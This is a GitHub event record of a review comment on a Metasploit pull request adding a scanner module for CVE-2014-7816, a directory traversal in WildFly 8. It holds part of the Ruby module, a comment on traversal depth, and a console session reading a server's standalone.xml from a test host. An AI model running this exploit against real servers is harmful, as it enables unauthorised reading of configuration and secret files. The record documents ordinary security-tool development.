GitHub PullRequestReviewCommentEvent at 2014-11-27 02:59:50
Repository: metasploit-framework
Actor: espreto
Payload: {"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/20977240","id":20977240,"diff_hunk":"@@ -0,0 +1,116 @@\n+##\n+# This module requires Metasploit: http://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+require 'msf/core'\n+\n+class Metasploit3 < Msf::Auxiliary\n+\n+  include Msf::Auxiliary::Scanner\n+  include Msf::Auxiliary::Report\n+  include Msf::Exploit::Remote::HttpClient\n+\n+  def initialize(info = {})\n+    super(update_info(info,\n+      'Name'           => 'WildFly 8 (JBossAS) Directory Traversal',\n+      'Description'    => %q{\n+        This module exploits a directory traversal vulnerability found in WildFly\n+        8.1.0.Final webserver on port 8080.\n+      },\n+      'References'     =>\n+        [\n+          [ 'CVE', '2014-7816' ],\n+          [ 'URL', 'https://access.redhat.com/security/cve/CVE-2014-7816' ],\n+          [ 'URL', 'https://www.conviso.com.br/advisories/CONVISO-14-001.txt' ],\n+          [ 'URL', 'http://www.openwall.com/lists/oss-security/2014/11/27/4' ]\n+        ],\n+      'Author'         => 'Roberto Soares Espreto <robertoespreto[at]gmail.com>',\n+      'License'        => MSF_LICENSE,\n+      'DisclosureDate' => 'Oct 22 2014'\n+    ))\n+\n+    register_options(\n+      [\n+        Opt::RPORT(8080),\n+        OptString.new(\"FILEPATH\", [false, 'Specify a parameter for the action', 'standalone\\\\\\\\configuration\\\\\\\\standalone.xml'])\n+      ], self.class)\n+\n+    register_advanced_options(\n+      [\n+        OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 1])","path":"modules/auxiliary/scanner/http/wildfly_8_traversal.rb","position":41,"original_position":41,"commit_id":"d75ffc36da63348446dcb155326d1a701091691f","original_commit_id":"f8dc366f42b6a64120e45d8951be4ab276311a56","user":{"login":"espreto","id":1926764,"avatar_url":"https://avatars.githubusercontent.com/u/1926764?v=3","gravatar_id":"","url":"https://api.github.com/users/espreto","html_url":"https://github.com/espreto","followers_url":"https://api.github.com/users/espreto/followers","following_url":"https://api.github.com/users/espreto/following{/other_user}","gists_url":"https://api.github.com/users/espreto/gists{/gist_id}","starred_url":"https://api.github.com/users/espreto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/espreto/subscriptions","organizations_url":"https://api.github.com/users/espreto/orgs","repos_url":"https://api.github.com/users/espreto/repos","events_url":"https://api.github.com/users/espreto/events{/privacy}","received_events_url":"https://api.github.com/users/espreto/received_events","type":"User","site_admin":false},"body":"In almost all the tests I did, only one \"..\\\\\" is enough to read the files. But I found somewhere else where it was necessary to put 3 \"..\\\\\" to work. Seeing examples of other modules, I decided to put that option as well. What do you think best? :) ","created_at":"2014-11-27T02:59:50Z","updated_at":"2014-11-27T02:59:50Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/4271#discussion_r20977240","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4271","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/20977240"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/4271#discussion_r20977240"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4271"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4271","id":25126060,"html_url":"https://github.com/rapid7/metasploit-framework/pull/4271","diff_url":"https://github.com/rapid7/metasploit-framework/pull/4271.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/4271.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4271","number":4271,"state":"open","locked":false,"title":"Add CVE-2014-7816 Directory Traversal for WildFly 8 Application","user":{"login":"espreto","id":1926764,"avatar_url":"https://avatars.githubusercontent.com/u/1926764?v=3","gravatar_id":"","url":"https://api.github.com/users/espreto","html_url":"https://github.com/espreto","followers_url":"https://api.github.com/users/espreto/followers","following_url":"https://api.github.com/users/espreto/following{/other_user}","gists_url":"https://api.github.com/users/espreto/gists{/gist_id}","starred_url":"https://api.github.com/users/espreto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/espreto/subscriptions","organizations_url":"https://api.github.com/users/espreto/orgs","repos_url":"https://api.github.com/users/espreto/repos","events_url":"https://api.github.com/users/espreto/events{/privacy}","received_events_url":"https://api.github.com/users/espreto/received_events","type":"User","site_admin":false},"body":"#### Module to read file via directory traversal in WildFly Application.\r\n\r\n  Application: WildFly 8 (JBossAS)\r\n  Homepage: www.wildfly.org\r\n  References: http://www.openwall.com/lists/oss-security/2014/11/27/4\r\n\r\n#### Vulnerable packages*\r\n        \r\n  WildFly 8 Application (8.1.0.Final)\r\n  WildFly 8 Application (9.0.0.Alpha1)\r\n  WildFly 8 Application (8.0.0.Final)\r\n\r\n#### Fixed in:\r\n\r\n  WildFly 8 Application (8.2.0.Final)\r\n\r\n#### Usage:\r\n```\r\nmsf > use auxiliary/scanner/http/wildfly_8_traversal \r\nmsf auxiliary(wildfly_8_traversal) > show options \r\n\r\nModule options (auxiliary/scanner/http/wildfly_8_traversal):\r\n\r\n   Name      Current Setting                            Required  Description\r\n   ----      ---------------                            --------  -----------\r\n   FILEPATH  standalone\\\\configuration\\\\standalone.xml  no        Specify a parameter for the action\r\n   Proxies                                              no        Use a proxy chain\r\n   RHOSTS                                               yes       The target address range or CIDR identifier\r\n   RPORT     8080                                       yes       The target port\r\n   THREADS   1                                          yes       The number of concurrent threads\r\n   VHOST                                                no        HTTP server virtual host\r\n\r\nmsf auxiliary(wildfly_8_traversal) > info\r\n\r\n       Name: WildFly 8 (JBossAS) Directory Traversal\r\n     Module: auxiliary/scanner/http/wildfly_8_traversal\r\n    License: Metasploit Framework License (BSD)\r\n       Rank: Normal\r\n  Disclosed: 2014-10-22\r\n\r\nProvided by:\r\n  Roberto Soares Espreto <robertoespreto@gmail.com>\r\n\r\nBasic options:\r\n  Name      Current Setting                            Required  Description\r\n  ----      ---------------                            --------  -----------\r\n  FILEPATH  standalone\\\\configuration\\\\standalone.xml  no        Specify a parameter for the action\r\n  Proxies                                              no        Use a proxy chain\r\n  RHOSTS                                               yes       The target address range or CIDR identifier\r\n  RPORT     8080                                       yes       The target port\r\n  THREADS   1                                          yes       The number of concurrent threads\r\n  VHOST                                                no        HTTP server virtual host\r\n\r\nDescription:\r\n  This module exploits a directory traversal vulnerability found in \r\n  WildFly 8.1.0.Final webserver on port 8080. Code execution seems \r\n  unlikely with WildFly default configuration.\r\n\r\nReferences:\r\n  http://cvedetails.com/cve/2014-7816/\r\n  https://access.redhat.com/security/cve/CVE-2014-7816\r\n  https://www.conviso.com.br/advisories/CONVISO-14-001.txt\r\n  http://www.openwall.com/lists/oss-security/2014/11/27/4\r\n\r\nmsf auxiliary(wildfly_8_traversal) > set RHOSTS 192.168.0.23\r\nRHOSTS => 192.168.0.23\r\nmsf auxiliary(wildfly_8_traversal) > run\r\n\r\n[*] Attempting to download: standalone\\\\configuration\\\\standalone.xml\r\n[*] Server returns HTTP code: 200\r\n[*] File saved in: /home/espreto/.msf4/loot/20141126235426_default_192.168.0.23_wildfly.http_025501.xml\r\n[*] Scanned 1 of 1 hosts (100% complete)\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(wildfly_8_traversal) > head -10 /home/espreto/.msf4/loot/20141126235426_default_192.168.0.23_wildfly.http_025501.xml\r\n[*] exec: head -10 /home/espreto/.msf4/loot/20141126235426_default_192.168.0.23_wildfly.http_025501.xml\r\n\r\n<?xml version='1.0' encoding='UTF-8'?>\r\n\r\n<server xmlns=\"urn:jboss:domain:2.1\">\r\n    <extensions>\r\n        <extension module=\"org.jboss.as.clustering.infinispan\"/>\r\n        <extension module=\"org.jboss.as.connector\"/>\r\n        <extension module=\"org.jboss.as.deployment-scanner\"/>\r\n        <extension module=\"org.jboss.as.ee\"/>\r\n        <extension module=\"org.jboss.as.ejb3\"/>\r\n        <extension module=\"org.jboss.as.jaxrs\"/>\r\nmsf auxiliary(wildfly_8_traversal) >\r\n```","created_at":"2014-11-27T02:20:17Z","updated_at":"2014-11-27T02:59:50Z","closed_at":null,"merged_at":null,"merge_commit_sha":"f3a45e2c36bd26f4cb1eb2fc8e48d15b39c969ff","assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4271/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4271/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/{number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4271/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/d75ffc36da63348446dcb155326d1a701091691f","head":{"label":"espreto:module-cve2014-7816","ref":"module-cve2014-7816","sha":"d75ffc36da63348446dcb155326d1a701091691f","user":{"login":"espreto","id":1926764,"avatar_url":"https://avatars.githubusercontent.com/u/1926764?v=3","gravatar_id":"","url":"https://api.github.com/users/espreto","html_url":"https://github.com/espreto","followers_url":"https://api.github.com/users/espreto/followers","following_url":"https://api.github.com/users/espreto/following{/other_user}","gists_url":"https://api.github.com/users/espreto/gists{/gist_id}","starred_url":"https://api.github.com/users/espreto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/espreto/subscriptions","organizations_url":"https://api.github.com/users/espreto/orgs","repos_url":"https://api.github.com/users/espreto/repos","events_url":"https://api.github.com/users/espreto/events{/privacy}","received_events_url":"https://api.github.com/users/espreto/received_events","type":"User","site_admin":false},"repo":{"id":9922830,"name":"metasploit-framework","full_name":"espreto/metasploit-framework","owner":{"login":"espreto","id":1926764,"avatar_url":"https://avatars.githubusercontent.com/u/1926764?v=3","gravatar_id":"","url":"https://api.github.com/users/espreto","html_url":"https://github.com/espreto","followers_url":"https://api.github.com/users/espreto/followers","following_url":"https://api.github.com/users/espreto/following{/other_user}","gists_url":"https://api.github.com/users/espreto/gists{/gist_id}","starred_url":"https://api.github.com/users/espreto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/espreto/subscriptions","organizations_url":"https://api.github.com/users/espreto/orgs","repos_url":"https://api.github.com/users/espreto/repos","events_url":"https://api.github.com/users/espreto/events{/privacy}","received_events_url":"https://api.github.com/users/espreto/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/espreto/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/espreto/metasploit-framework","forks_url":"https://api.github.com/repos/espreto/metasploit-framework/forks","keys_url":"https://api.github.com/repos/espreto/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/espreto/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/espreto/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/espreto/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/espreto/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/espreto/metasploit-framework/events","assignees_url":"https://api.github.com/repos/espreto/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/espreto/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/espreto/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/espreto/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/espreto/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/espreto/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/espreto/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/espreto/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/espreto/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/espreto/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/espreto/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/espreto/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/espreto/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/espreto/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/espreto/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/espreto/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/espreto/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/espreto/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/espreto/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/espreto/metasploit-framework/merges","archive_url":"https://api.github.com/repos/espreto/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/espreto/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/espreto/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/espreto/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/espreto/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/espreto/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/espreto/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/espreto/metasploit-framework/releases{/id}","created_at":"2013-05-07T22:12:25Z","updated_at":"2014-11-27T02:10:40Z","pushed_at":"2014-11-27T02:50:50Z","git_url":"git://github.com/espreto/metasploit-framework.git","ssh_url":"git@github.com:espreto/metasploit-framework.git","clone_url":"https://github.com/espreto/metasploit-framework.git","svn_url":"https://github.com/espreto/metasploit-framework","homepage":"http://www.metasploit.com/","size":246959,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"c0be32eac1c4536399944ef3fd838033e54904d9","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2014-11-27T02:29:34Z","pushed_at":"2014-11-26T19:11:31Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":1014110,"stargazers_count":2920,"watchers_count":2920,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":2549,"mirror_url":null,"open_issues_count":181,"forks":2549,"open_issues":181,"watchers":2920,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4271"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/4271"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4271"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4271/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4271/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/{number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4271/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/d75ffc36da63348446dcb155326d1a701091691f"}}}}